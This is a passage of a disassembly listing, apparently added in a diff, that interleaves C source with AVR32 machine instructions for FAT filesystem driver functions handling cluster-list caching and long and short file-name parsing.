andn r4,r3 +800040bc: 00 00 add r0,r0 +800040be: 07 2c ld.uh r12,r3++ +800040c0: 80 00 ld.sh r0,r0[0x0] +800040c2: 40 04 lddsp r4,sp[0x0] + +800040c4 : +//! +//! @return true cluster list found and global variable fs_g_seg updated +//! @return false no found in cluster list caches +//! +Bool fat_cache_clusterlist_update_read( Bool b_for_file ) +{ +800040c4: eb cd 40 c0 pushm r6-r7,lr + uint32_t u32_tmp; + uint8_t u8_i; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( (fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file) + && (fs_g_cache_clusterlist[u8_i].u8_lun == fs_g_nav.u8_lun ) ) +800040c8: 4c 18 lddpc r8,800041cc +800040ca: 11 89 ld.ub r9,r8[0x0] + { + if( fs_g_cache_clusterlist[u8_i].u32_cluster == fs_g_cluster.u32_pos ) +800040cc: 4c 18 lddpc r8,800041d0 +800040ce: 70 0a ld.w r10,r8[0x0] + { + if( fs_g_cache_clusterlist[u8_i].u32_start <= fs_g_seg.u32_size_or_pos ) +800040d0: 4c 18 lddpc r8,800041d4 +800040d2: 70 1b ld.w r11,r8[0x4] +{ + uint32_t u32_tmp; + uint8_t u8_i; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( (fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file) +800040d4: 4c 18 lddpc r8,800041d8 +800040d6: 11 88 ld.ub r8,r8[0x0] +800040d8: f8 08 18 00 cp.b r8,r12 +800040dc: c1 11 brne 800040fe +800040de: 4b f8 lddpc r8,800041d8 +800040e0: 11 a8 ld.ub r8,r8[0x2] +800040e2: f2 08 18 00 cp.b r8,r9 +800040e6: c0 c1 brne 800040fe + && (fs_g_cache_clusterlist[u8_i].u8_lun == fs_g_nav.u8_lun ) ) + { + if( fs_g_cache_clusterlist[u8_i].u32_cluster == fs_g_cluster.u32_pos ) +800040e8: 4b c8 lddpc r8,800041d8 +800040ea: 70 18 ld.w r8,r8[0x4] +800040ec: 14 38 cp.w r8,r10 +800040ee: c0 81 brne 800040fe + { + if( fs_g_cache_clusterlist[u8_i].u32_start <= fs_g_seg.u32_size_or_pos ) +800040f0: 4b a8 lddpc r8,800041d8 +800040f2: 70 28 ld.w r8,r8[0x8] +800040f4: 10 3b cp.w r11,r8 +800040f6: c0 43 brcs 800040fe +800040f8: 30 0a mov r10,0 +800040fa: 14 99 mov r9,r10 +800040fc: c1 88 rjmp 8000412c +{ + uint32_t u32_tmp; + uint8_t u8_i; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( (fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file) +800040fe: 4b 78 lddpc r8,800041d8 +80004100: f1 38 00 14 ld.ub r8,r8[20] +80004104: f8 08 18 00 cp.b r8,r12 +80004108: c5 e1 brne 800041c4 +8000410a: 4b 48 lddpc r8,800041d8 +8000410c: f1 38 00 16 ld.ub r8,r8[22] +80004110: f2 08 18 00 cp.b r8,r9 +80004114: c5 81 brne 800041c4 + && (fs_g_cache_clusterlist[u8_i].u8_lun == fs_g_nav.u8_lun ) ) + { + if( fs_g_cache_clusterlist[u8_i].u32_cluster == fs_g_cluster.u32_pos ) +80004116: 4b 18 lddpc r8,800041d8 +80004118: 70 68 ld.w r8,r8[0x18] +8000411a: 14 38 cp.w r8,r10 +8000411c: c5 41 brne 800041c4 + { + if( fs_g_cache_clusterlist[u8_i].u32_start <= fs_g_seg.u32_size_or_pos ) +8000411e: 4a f8 lddpc r8,800041d8 +80004120: 70 78 ld.w r8,r8[0x1c] +80004122: 16 38 cp.w r8,r11 +80004124: e0 8b 00 50 brhi 800041c4 +80004128: 30 1a mov r10,1 +8000412a: 14 99 mov r9,r10 + { + // The segment research is in or after the cache + if( fs_g_cache_clusterlist[u8_i].u32_size > (fs_g_seg.u32_size_or_pos-fs_g_cache_clusterlist[u8_i].u32_start) ) +8000412c: f2 0e 15 02 lsl lr,r9,0x2 +80004130: 12 0e add lr,r9 +80004132: 4a ac lddpc r12,800041d8 +80004134: f8 0e 00 2c add r12,r12,lr<<0x2 +80004138: 78 4c ld.w r12,r12[0x10] +8000413a: f6 08 01 08 sub r8,r11,r8 +8000413e: 10 3c cp.w r12,r8 +80004140: e0 88 00 16 brls 8000416c + { + //** The segment research is in cache, then compute the segment infos + fs_g_seg.u32_size_or_pos -= fs_g_cache_clusterlist[u8_i].u32_start; + fs_g_seg.u32_addr = fs_g_cache_clusterlist[u8_i].u32_addr + fs_g_seg.u32_size_or_pos; +80004144: 4a 4b lddpc r11,800041d4 +80004146: f2 0e 15 02 lsl lr,r9,0x2 +8000414a: fc 09 00 09 add r9,lr,r9 +8000414e: 4a 3e lddpc lr,800041d8 +80004150: fc 09 00 29 add r9,lr,r9<<0x2 +80004154: 72 39 ld.w r9,r9[0xc] +80004156: f0 09 00 09 add r9,r8,r9 +8000415a: 97 09 st.w r11[0x0],r9 + fs_g_seg.u32_size_or_pos = fs_g_cache_clusterlist[u8_i].u32_size - fs_g_seg.u32_size_or_pos; +8000415c: 10 1c sub r12,r8 +8000415e: 97 1c st.w r11[0x4],r12 + fs_g_u8_current_cache = u8_i; +80004160: 49 f8 lddpc r8,800041dc +80004162: b0 8a st.b r8[0x0],r10 + fat_cache_clusterlist_update_select(); +80004164: f0 1f 00 1f mcall 800041e0 +80004168: e3 cf 90 c0 ldm sp++,r6-r7,pc,r12=1 + return true; // the segment is in cluster list cache + }else{ + //** It is after the cache then get cache information and continue to read the cluster list in FAT + // Store the resultat in this cache + fs_g_u8_current_cache = u8_i; +8000416c: 49 c8 lddpc r8,800041dc +8000416e: b0 8a st.b r8[0x0],r10 + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache +80004170: f2 08 15 02 lsl r8,r9,0x2 +80004174: f0 09 00 09 add r9,r8,r9 +80004178: 49 88 lddpc r8,800041d8 +8000417a: f0 09 00 28 add r8,r8,r9<<0x2 +8000417e: 3f f9 mov r9,-1 +80004180: b0 a9 st.b r8[0x2],r9 + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // It is the same cluster start + + // Get cache information to take time during the next FAT access + // Compute the cluster number corresponding at the last cluster of the cluster list cache + fs_g_cluster.u32_pos = ((fs_g_cache_clusterlist[u8_i].u32_addr -fs_g_nav.u32_ptr_fat - fs_g_nav.u32_offset_data + fs_g_cache_clusterlist[u8_i].u32_size -1) +80004182: 70 4c ld.w r12,r8[0x10] +80004184: 49 2a lddpc r10,800041cc +80004186: 15 99 ld.ub r9,r10[0x1] +80004188: 70 3e ld.w lr,r8[0xc] +8000418a: f8 0e 00 0e add lr,r12,lr +8000418e: 20 1e sub lr,1 +80004190: 74 57 ld.w r7,r10[0x14] +80004192: fc 07 01 07 sub r7,lr,r7 +80004196: 74 4a ld.w r10,r10[0x10] +80004198: 14 17 sub r7,r10 +8000419a: ee 09 0d 06 divu r6,r7,r9 +8000419e: 0c 97 mov r7,r6 +800041a0: 2f e7 sub r7,-2 +800041a2: 48 ca lddpc r10,800041d0 +800041a4: 95 07 st.w r10[0x0],r7 + / fs_g_nav.u8_BPB_SecPerClus) +2; + u32_tmp = fs_g_seg.u32_size_or_pos; // save position ask + // Compute the position of the end of cluster list cache, and decrement the position asked + fs_g_seg.u32_size_or_pos-= ((fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start + fs_g_cache_clusterlist[u8_i].u32_size -1) +800041a6: 2f 88 sub r8,-8 +800041a8: 70 0a ld.w r10,r8[0x0] +800041aa: 14 0c add r12,r10 +800041ac: f8 c7 00 01 sub r7,r12,1 +800041b0: ee 09 0d 06 divu r6,r7,r9 +800041b4: ad 39 mul r9,r6 +800041b6: 48 8a lddpc r10,800041d4 +800041b8: f6 09 01 09 sub r9,r11,r9 +800041bc: 95 19 st.w r10[0x4],r9 + / fs_g_nav.u8_BPB_SecPerClus) + * fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = u32_tmp; // Update cache with the position asked +800041be: 91 0b st.w r8[0x0],r11 +800041c0: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 + } + } + } + } + // No found in cache then read FAT and store the resultat in cache + fat_cache_clusterlist_update_start(b_for_file); +800041c4: f0 1f 00 08 mcall 800041e4 +800041c8: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 +800041cc: 00 00 add r0,r0 +800041ce: 06 84 andn r4,r3 +800041d0: 00 00 add r0,r0 +800041d2: 07 24 ld.uh r4,r3++ +800041d4: 00 00 add r0,r0 +800041d6: 07 2c ld.uh r12,r3++ +800041d8: 00 00 add r0,r0 +800041da: 04 58 eor r8,r2 +800041dc: 00 00 add r0,r0 +800041de: 06 d6 st.w --r3,r6 +800041e0: 80 00 ld.sh r0,r0[0x0] +800041e2: 40 04 lddsp r4,sp[0x0] +800041e4: 80 00 ld.sh r0,r0[0x0] +800041e6: 3f c4 mov r4,-4 + +800041e8 : +//! @return true, this entry is a directory +//! @return false, otherwise +//! +Bool fat_entry_is_dir(void) +{ + fs_g_status = FS_ERR_NO_DIR; +800041e8: 30 d9 mov r9,13 +800041ea: 48 48 lddpc r8,800041f8 +800041ec: b0 89 st.b r8[0x0],r9 +800041ee: 48 48 lddpc r8,800041fc +800041f0: 11 ac ld.ub r12,r8[0x2] + return (FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr); +} +800041f2: e2 1c 00 10 andl r12,0x10,COH +800041f6: 5e fc retal r12 +800041f8: 00 00 add r0,r0 +800041fa: 06 d4 st.w --r3,r4 +800041fc: 00 00 add r0,r0 +800041fe: 04 44 or r4,r2 + +80004200 : + +//! This function resets the selection pointers +//! +void fat_clear_entry_info_and_ptr( void ) +{ + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; +80004200: 3f f9 mov r9,-1 +80004202: 48 c8 lddpc r8,80004230 +80004204: b0 19 st.h r8[0x2],r9 + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; +80004206: 48 c8 lddpc r8,80004234 +80004208: f1 59 00 24 st.h r8[36],r9 + if( !fs_g_nav.b_mode_nav_single ) +8000420c: f1 39 00 2d ld.ub r9,r8[45] +80004210: 30 08 mov r8,0 +80004212: f0 09 18 00 cp.b r9,r8 +80004216: c0 51 brne 80004220 + { + fs_g_nav.b_mode_nav = FS_DIR; +80004218: 10 99 mov r9,r8 +8000421a: 48 78 lddpc r8,80004234 +8000421c: f1 69 00 2c st.b r8[44],r9 + } + fs_g_nav_entry.u8_attr = 0; +80004220: 48 68 lddpc r8,80004238 +80004222: 30 09 mov r9,0 +80004224: b0 a9 st.b r8[0x2],r9 + fs_g_nav_entry.u32_cluster = 0; +80004226: 30 0a mov r10,0 +80004228: 91 1a st.w r8[0x4],r10 + fs_g_nav_entry.u32_size = 0; +8000422a: 91 2a st.w r8[0x8],r10 + Fat_file_close(); +8000422c: b0 89 st.b r8[0x0],r9 +} +8000422e: 5e fc retal r12 +80004230: 00 00 add r0,r0 +80004232: 06 d0 st.w --r3,r0 +80004234: 00 00 add r0,r0 +80004236: 06 84 andn r4,r3 +80004238: 00 00 add r0,r0 +8000423a: 04 44 or r4,r2 + +8000423c : +//! @return true, it is a character to signal a end of name (0,'\\','/') +//! @return false, otherwise +//! +Bool fat_check_eof_name( uint16_t character ) +{ + return (('\0'==character)||('\\'==character)||('/'==character)); +8000423c: 30 08 mov r8,0 +8000423e: f0 0c 19 00 cp.h r12,r8 +80004242: 5f 0a sreq r10 +80004244: 35 c9 mov r9,92 +80004246: f2 0c 19 00 cp.h r12,r9 +8000424a: 5f 09 sreq r9 +8000424c: f5 e9 10 09 or r9,r10,r9 +80004250: f0 09 18 00 cp.b r9,r8 +80004254: c0 20 breq 80004258 +80004256: 5e ff retal 1 +80004258: 32 f8 mov r8,47 +8000425a: f0 0c 19 00 cp.h r12,r8 +8000425e: 5f 0c sreq r12 +} +80004260: 5e fc retal r12 +80004262: d7 03 nop + +80004264 : +//! This function returns a cache pointer on the current entry +//! +//! @return a pointer on the internal cache +//! +PTR_CACHE fat_get_ptr_entry( void ) +{ +80004264: 48 48 lddpc r8,80004274 +80004266: 90 98 ld.uh r8,r8[0x2] +80004268: a5 78 lsl r8,0x5 +8000426a: f1 d8 c0 09 bfextu r8,r8,0x0,0x9 + return &fs_g_sector[(fs_g_nav_fast.u16_entry_pos_sel_file * FS_SIZE_FILE_ENTRY) & FS_512B_MASK]; +} +8000426e: 48 3c lddpc r12,80004278 +80004270: 10 0c add r12,r8 +80004272: 5e fc retal r12 +80004274: 00 00 add r0,r0 +80004276: 06 d0 st.w --r3,r0 +80004278: 00 00 add r0,r0 +8000427a: 04 84 andn r4,r2 + +8000427c : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_longname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ +8000427c: d4 31 pushm r0-r7,lr +8000427e: 20 3d sub sp,12 +80004280: 18 97 mov r7,r12 +80004282: 16 95 mov r5,r11 +80004284: 14 96 mov r6,r10 +80004286: 50 09 stdsp sp[0x0],r9 + uint8_t u8_pos_name; + PTR_CACHE ptr_entry; + uint16_t u16_unicode_entry; + uint16_t u16_unicode_szname; + + ptr_entry = fat_get_ptr_entry(); +80004288: f0 1f 00 65 mcall 8000441c + + if( (FS_ENTRY_END == *ptr_entry ) // end of directory +8000428c: 19 88 ld.ub r8,r12[0x0] +8000428e: 30 09 mov r9,0 +80004290: f2 08 18 00 cp.b r8,r9 +80004294: 5f 0b sreq r11 +80004296: 3e 5a mov r10,-27 +80004298: f4 08 18 00 cp.b r8,r10 +8000429c: 5f 0a sreq r10 +8000429e: f7 ea 10 0a or r10,r11,r10 +800042a2: f2 0a 18 00 cp.b r10,r9 +800042a6: c0 71 brne 800042b4 + || (FS_ENTRY_DEL == *ptr_entry ) // entry deleted + || (FS_ATTR_LFN_ENTRY != ptr_entry[11]) ) // no long name +800042a8: f9 3a 00 0b ld.ub r10,r12[11] +800042ac: 30 f9 mov r9,15 +800042ae: f2 0a 18 00 cp.b r10,r9 +800042b2: c0 60 breq 800042be + { + fs_g_status = FS_ERR_ENTRY_BAD; +800042b4: 30 b9 mov r9,11 +800042b6: 4d b8 lddpc r8,80004420 +800042b8: b0 89 st.b r8[0x0],r9 +800042ba: 30 0c mov r12,0 + return false; +800042bc: ca 98 rjmp 8000440e + } + + if( g_b_string_length ) +800042be: 4d a9 lddpc r9,80004424 +800042c0: 13 8a ld.ub r10,r9[0x0] +800042c2: 30 09 mov r9,0 +800042c4: f2 0a 18 00 cp.b r10,r9 +800042c8: c0 90 breq 800042da + { + if ( 0 == (FS_ENTRY_LFN_LAST & *ptr_entry)) +800042ca: e2 18 00 40 andl r8,0x40,COH +800042ce: c0 61 brne 800042da + { + // no necessary -> ((FS_STR_UNICODE)sz_name)[0] = FS_SIZE_LFN_ENTRY; + fs_g_status = FS_NO_LAST_LFN_ENTRY; +800042d0: 31 09 mov r9,16 +800042d2: 4d 48 lddpc r8,80004420 +800042d4: b0 89 st.b r8[0x0],r9 +800042d6: 30 0c mov r12,0 + return false; // Other entry long name +800042d8: c9 b8 rjmp 8000440e + } + } + + ptr_entry++; // The long name start at offset 1 of the entry file +800042da: 2f fc sub r12,-1 +800042dc: 30 08 mov r8,0 + + u8_pos_name=0; + while( 1 ) + { + LSB(u16_unicode_entry) = ptr_entry[0]; +800042de: fa cb ff f6 sub r11,sp,-10 + MSB(u16_unicode_entry) = ptr_entry[1]; + if( FS_NAME_GET == b_mode ) +800042e2: 30 11 mov r1,1 + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( ((0 != u16_unicode_entry ) || (( '\\' != u16_unicode_szname) && ( '/' != u16_unicode_szname)) ) + && ((u16_unicode_szname != (u16_unicode_entry+('a'-'A'))) || b_match_case) +800042e4: 30 09 mov r9,0 + { + LSB(u16_unicode_entry) = ptr_entry[0]; + MSB(u16_unicode_entry) = ptr_entry[1]; + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) +800042e6: 4d 02 lddpc r2,80004424 + { + // Check the end of buffer + if( u8_pos_name>=(u8_size_max-1) ) +800042e8: 20 15 sub r5,1 +800042ea: 50 15 stdsp sp[0x4],r5 + ptr_entry++; // The long name start at offset 1 of the entry file + + u8_pos_name=0; + while( 1 ) + { + LSB(u16_unicode_entry) = ptr_entry[0]; +800042ec: 19 8a ld.ub r10,r12[0x0] +800042ee: b6 9a st.b r11[0x1],r10 + MSB(u16_unicode_entry) = ptr_entry[1]; +800042f0: 19 9a ld.ub r10,r12[0x1] +800042f2: b6 8a st.b r11[0x0],r10 + if( FS_NAME_GET == b_mode ) +800042f4: e2 06 18 00 cp.b r6,r1 +800042f8: c0 f1 brne 80004316 + { + if( !g_b_string_length ) +800042fa: 05 8a ld.ub r10,r2[0x0] +800042fc: f2 0a 18 00 cp.b r10,r9 +80004300: c4 01 brne 80004380 + { + // Check the end of buffer + if( u8_pos_name>=(u8_size_max-1) ) +80004302: 40 1e lddsp lr,sp[0x4] +80004304: 1c 38 cp.w r8,lr +80004306: c0 55 brlt 80004310 + // Write end of string + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; +80004308: 30 08 mov r8,0 +8000430a: ae 88 st.b r7[0x0],r8 +8000430c: 30 1c mov r12,1 + } + return true; // the buffer is full +8000430e: c8 08 rjmp 8000440e + // Read and store the long name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u16_unicode_entry; + }else{ + sz_name[0] = (uint8_t)u16_unicode_entry; +80004310: 9a 5a ld.sh r10,sp[0xa] +80004312: ae 8a st.b r7[0x0],r10 +80004314: c3 68 rjmp 80004380 + { + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; +80004316: 0f 8a ld.ub r10,r7[0x0] + } + // Check the name + if( '*' == u16_unicode_szname ) +80004318: 32 a5 mov r5,42 +8000431a: ea 0a 19 00 cp.h r10,r5 +8000431e: c7 70 breq 8000440c + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( ((0 != u16_unicode_entry ) || (( '\\' != u16_unicode_szname) && ( '/' != u16_unicode_szname)) ) +80004320: 9a 5e ld.sh lr,sp[0xa] +80004322: 58 0e cp.w lr,0 +80004324: c0 e1 brne 80004340 +80004326: 35 c5 mov r5,92 +80004328: ea 0a 19 00 cp.h r10,r5 +8000432c: 5f 14 srne r4 +8000432e: 32 f5 mov r5,47 +80004330: ea 0a 19 00 cp.h r10,r5 +80004334: 5f 15 srne r5 +80004336: e9 e5 00 05 and r5,r4,r5 +8000433a: f2 05 18 00 cp.b r5,r9 +8000433e: c2 60 breq 8000438a + && ((u16_unicode_szname != (u16_unicode_entry+('a'-'A'))) || b_match_case) +80004340: e9 da c0 10 bfextu r4,r10,0x0,0x10 +80004344: e7 de c0 10 bfextu r3,lr,0x0,0x10 +80004348: 40 05 lddsp r5,sp[0x0] +8000434a: f2 05 18 00 cp.b r5,r9 +8000434e: 5f 15 srne r5 + if( '*' == u16_unicode_szname ) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( ((0 != u16_unicode_entry ) || (( '\\' != u16_unicode_szname) && ( '/' != u16_unicode_szname)) ) +80004350: e6 c0 ff e0 sub r0,r3,-32 +80004354: 00 34 cp.w r4,r0 +80004356: 5f 10 srne r0 +80004358: eb e0 10 00 or r0,r5,r0 +8000435c: f2 00 18 00 cp.b r0,r9 +80004360: c1 00 breq 80004380 +80004362: 22 03 sub r3,32 +80004364: 06 34 cp.w r4,r3 +80004366: 5f 14 srne r4 +80004368: 08 45 or r5,r4 +8000436a: f2 05 18 00 cp.b r5,r9 +8000436e: c0 90 breq 80004380 +80004370: fc 0a 19 00 cp.h r10,lr +80004374: c0 60 breq 80004380 + && ((u16_unicode_szname != (u16_unicode_entry+('a'-'A'))) || b_match_case) + && ((u16_unicode_szname != (u16_unicode_entry-('a'-'A'))) || b_match_case) + && (u16_unicode_szname != u16_unicode_entry) ) + { + fs_g_status = FS_ERR_NAME_INCORRECT; // The name don't corresponding at filter name +80004376: 31 69 mov r9,22 +80004378: 4a a8 lddpc r8,80004420 +8000437a: b0 89 st.b r8[0x0],r9 +8000437c: 30 0c mov r12,0 + return false; +8000437e: c4 88 rjmp 8000440e + } + } + + if( 0 == u16_unicode_entry) +80004380: 9a 5a ld.sh r10,sp[0xa] +80004382: 30 0e mov lr,0 +80004384: fc 0a 19 00 cp.h r10,lr +80004388: c0 b1 brne 8000439e + { + if( g_b_string_length ) +8000438a: 4a 79 lddpc r9,80004424 +8000438c: 13 8a ld.ub r10,r9[0x0] +8000438e: 30 09 mov r9,0 +80004390: f2 0a 18 00 cp.b r10,r9 +80004394: c3 c0 breq 8000440c + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; +80004396: 2f f8 sub r8,-1 +80004398: ae 08 st.h r7[0x0],r8 +8000439a: 30 1c mov r12,1 +8000439c: c3 98 rjmp 8000440e + } + return true; // Last long name entry + } + if( 4 == u8_pos_name ) +8000439e: 30 4a mov r10,4 +800043a0: f4 08 18 00 cp.b r8,r10 +800043a4: c0 31 brne 800043aa + ptr_entry += 3; // Go to second character +800043a6: 2f dc sub r12,-3 +800043a8: c2 78 rjmp 800043f6 + + if( 10 == u8_pos_name ) +800043aa: 30 aa mov r10,10 +800043ac: f4 08 18 00 cp.b r8,r10 +800043b0: c0 31 brne 800043b6 + ptr_entry += 2; // Go to third character +800043b2: 2f ec sub r12,-2 +800043b4: c2 18 rjmp 800043f6 + + if( 12 == u8_pos_name ) +800043b6: 30 ca mov r10,12 +800043b8: f4 08 18 00 cp.b r8,r10 +800043bc: c1 d1 brne 800043f6 + { // End of entry long name + ptr_entry -= (FS_SIZE_FILE_ENTRY-2); // Go to the first byte of the file entry + if ( 0 == (FS_ENTRY_LFN_LAST & ptr_entry[0])) +800043be: f9 38 ff e2 ld.ub r8,r12[-30] +800043c2: e2 18 00 40 andl r8,0x40,COH +800043c6: c0 61 brne 800043d2 + { + fs_g_status = FS_NO_LAST_LFN_ENTRY; +800043c8: 31 09 mov r9,16 +800043ca: 49 68 lddpc r8,80004420 +800043cc: b0 89 st.b r8[0x0],r9 +800043ce: 30 0c mov r12,0 + return false; // Other long name entry is present +800043d0: c1 f8 rjmp 8000440e + } + else + { // It is the last long name entry + // then it is the end of name + if( (FS_NAME_GET == b_mode) && g_b_string_length ) +800043d2: 30 18 mov r8,1 +800043d4: f0 06 18 00 cp.b r6,r8 +800043d8: c0 b1 brne 800043ee +800043da: 49 38 lddpc r8,80004424 +800043dc: 11 89 ld.ub r9,r8[0x0] +800043de: 30 08 mov r8,0 +800043e0: f0 09 18 00 cp.b r9,r8 +800043e4: c1 70 breq 80004412 + { + ((FS_STR_UNICODE)sz_name)[0] = 14; +800043e6: 30 e8 mov r8,14 +800043e8: ae 08 st.h r7[0x0],r8 +800043ea: 30 1c mov r12,1 + return true; +800043ec: c1 18 rjmp 8000440e + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + return fat_check_eof_name(u16_unicode_szname); +800043ee: 0f 9c ld.ub r12,r7[0x1] +800043f0: f0 1f 00 0e mcall 80004428 +800043f4: c0 d8 rjmp 8000440e + } + } + } + + if( !g_b_string_length ) +800043f6: 05 8a ld.ub r10,r2[0x0] + { + sz_name += (Is_unicode? 2 : 1 ); +800043f8: ee ce ff ff sub lr,r7,-1 +800043fc: f2 0a 18 00 cp.b r10,r9 +80004400: fc 07 17 00 moveq r7,lr + } + u8_pos_name++; +80004404: 2f f8 sub r8,-1 +80004406: 5c 58 castu.b r8 + ptr_entry+=2; +80004408: 2f ec sub r12,-2 + } +8000440a: c7 1b rjmp 800042ec +8000440c: 30 1c mov r12,1 +} +8000440e: 2f dd sub sp,-12 +80004410: d8 32 popm r0-r7,pc + // Write end of string UNICODE + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; +80004412: 30 08 mov r8,0 +80004414: ae 98 st.b r7[0x1],r8 +80004416: 30 1c mov r12,1 + } + return true; +80004418: cf bb rjmp 8000440e +8000441a: 00 00 add r0,r0 +8000441c: 80 00 ld.sh r0,r0[0x0] +8000441e: 42 64 lddsp r4,sp[0x98] +80004420: 00 00 add r0,r0 +80004422: 06 d4 st.w --r3,r4 +80004424: 00 00 add r0,r0 +80004426: 06 d5 st.w --r3,r5 +80004428: 80 00 ld.sh r0,r0[0x0] +8000442a: 42 3c lddsp r12,sp[0x8c] + +8000442c : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_shortname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ) +{ +8000442c: d4 31 pushm r0-r7,lr +8000442e: 20 3d sub sp,12 +80004430: 18 97 mov r7,r12 +80004432: 50 2b stdsp sp[0x8],r11 +80004434: 14 96 mov r6,r10 + uint8_t u8_pos_name; + uint8_t u8_entry_char, u8_szname_char; + PTR_CACHE ptr_entry; + uint8_t u8_pos_entry; + + fs_g_status = FS_ERR_NAME_INCORRECT; // by default the name don't corresponding at filter name +80004436: 31 69 mov r9,22 +80004438: 4c 08 lddpc r8,80004538 +8000443a: b0 89 st.b r8[0x0],r9 + + u8_pos_name = 0; + u8_pos_entry = 0; + ptr_entry = fat_get_ptr_entry(); +8000443c: f0 1f 00 40 mcall 8000453c +80004440: 30 08 mov r8,0 +80004442: 10 9e mov lr,r8 +80004444: 30 12 mov r2,1 + + // for each characters of short name + while( 1 ) + { + if( FS_SIZE_SFNAME == u8_pos_entry ) +80004446: 30 b3 mov r3,11 + u8_entry_char = 0; // end of name + } + else + { + u8_entry_char = ptr_entry[ u8_pos_entry ]; + if( ((FS_SIZE_SFNAME_WITHOUT_EXT == u8_pos_entry) && b_extension_nostart) // end of name and '.' character no writed +80004448: 30 85 mov r5,8 +8000444a: 30 0a mov r10,0 + u8_entry_char = 0; // end of name + } + } + } + + if( FS_NAME_GET == b_mode ) +8000444c: 30 14 mov r4,1 + ptr_entry = fat_get_ptr_entry(); + + // for each characters of short name + while( 1 ) + { + if( FS_SIZE_SFNAME == u8_pos_entry ) +8000444e: e6 08 18 00 cp.b r8,r3 +80004452: c2 00 breq 80004492 + { + u8_entry_char = 0; // end of name + } + else + { + u8_entry_char = ptr_entry[ u8_pos_entry ]; +80004454: f8 08 07 09 ld.ub r9,r12[r8] + if( ((FS_SIZE_SFNAME_WITHOUT_EXT == u8_pos_entry) && b_extension_nostart) // end of name and '.' character no writed +80004458: ea 08 18 00 cp.b r8,r5 +8000445c: 5f 00 sreq r0 +8000445e: f4 02 18 00 cp.b r2,r10 +80004462: 5f 1b srne r11 +80004464: e1 eb 00 0b and r11,r0,r11 +80004468: f4 0b 18 00 cp.b r11,r10 +8000446c: c0 51 brne 80004476 +8000446e: 32 0b mov r11,32 +80004470: f6 09 18 00 cp.b r9,r11 +80004474: c1 01 brne 80004494 + || ( ' ' == u8_entry_char) ) + { + // end of name or extension + if( (FS_SIZE_SFNAME_WITHOUT_EXT >= u8_pos_entry) // End of name without extension +80004476: ea 08 18 00 cp.b r8,r5 +8000447a: e0 8b 00 0c brhi 80004492 + && (' ' != ptr_entry[ FS_SIZE_SFNAME_WITHOUT_EXT ]) ) // extension exists +8000447e: f9 39 00 08 ld.ub r9,r12[8] +80004482: 32 01 mov r1,32 +80004484: e2 09 18 00 cp.b r9,r1 +80004488: c0 50 breq 80004492 +8000448a: 30 78 mov r8,7 +8000448c: 32 e9 mov r9,46 +8000448e: 30 02 mov r2,0 +80004490: c0 28 rjmp 80004494 +80004492: 30 09 mov r9,0 + u8_entry_char = 0; // end of name + } + } + } + + if( FS_NAME_GET == b_mode ) +80004494: e8 06 18 00 cp.b r6,r4 +80004498: c1 71 brne 800044c6 + { + if( !g_b_string_length ) +8000449a: 4a ab lddpc r11,80004540 +8000449c: 17 8b ld.ub r11,r11[0x0] +8000449e: f4 0b 18 00 cp.b r11,r10 +800044a2: c2 e1 brne 800044fe + { + if(u8_pos_name >= (u8_size_max-1)) +800044a4: 40 2b lddsp r11,sp[0x8] +800044a6: 20 1b sub r11,1 +800044a8: 16 3e cp.w lr,r11 +800044aa: c0 35 brlt 800044b0 +800044ac: 30 09 mov r9,0 +800044ae: c0 a8 rjmp 800044c2 + u8_entry_char = 0; // buffer full then force end of string + + if( ('A'<=u8_entry_char) && (u8_entry_char<='Z')) +800044b0: f2 c0 00 41 sub r0,r9,65 +800044b4: 31 9b mov r11,25 +800044b6: f6 00 18 00 cp.b r0,r11 +800044ba: e0 8b 00 04 brhi 800044c2 + u8_entry_char += ('a'-'A'); // display short name in down case +800044be: 2e 09 sub r9,-32 +800044c0: 5c 59 castu.b r9 + + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_entry_char; + }else{ + sz_name[0] = u8_entry_char; +800044c2: ae 89 st.b r7[0x0],r9 +800044c4: c1 d8 rjmp 800044fe + + if( Is_unicode ) + { + u8_szname_char = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u8_szname_char = sz_name[0]; +800044c6: 0f 8b ld.ub r11,r7[0x0] + } + if ('*' == u8_szname_char) +800044c8: 32 a0 mov r0,42 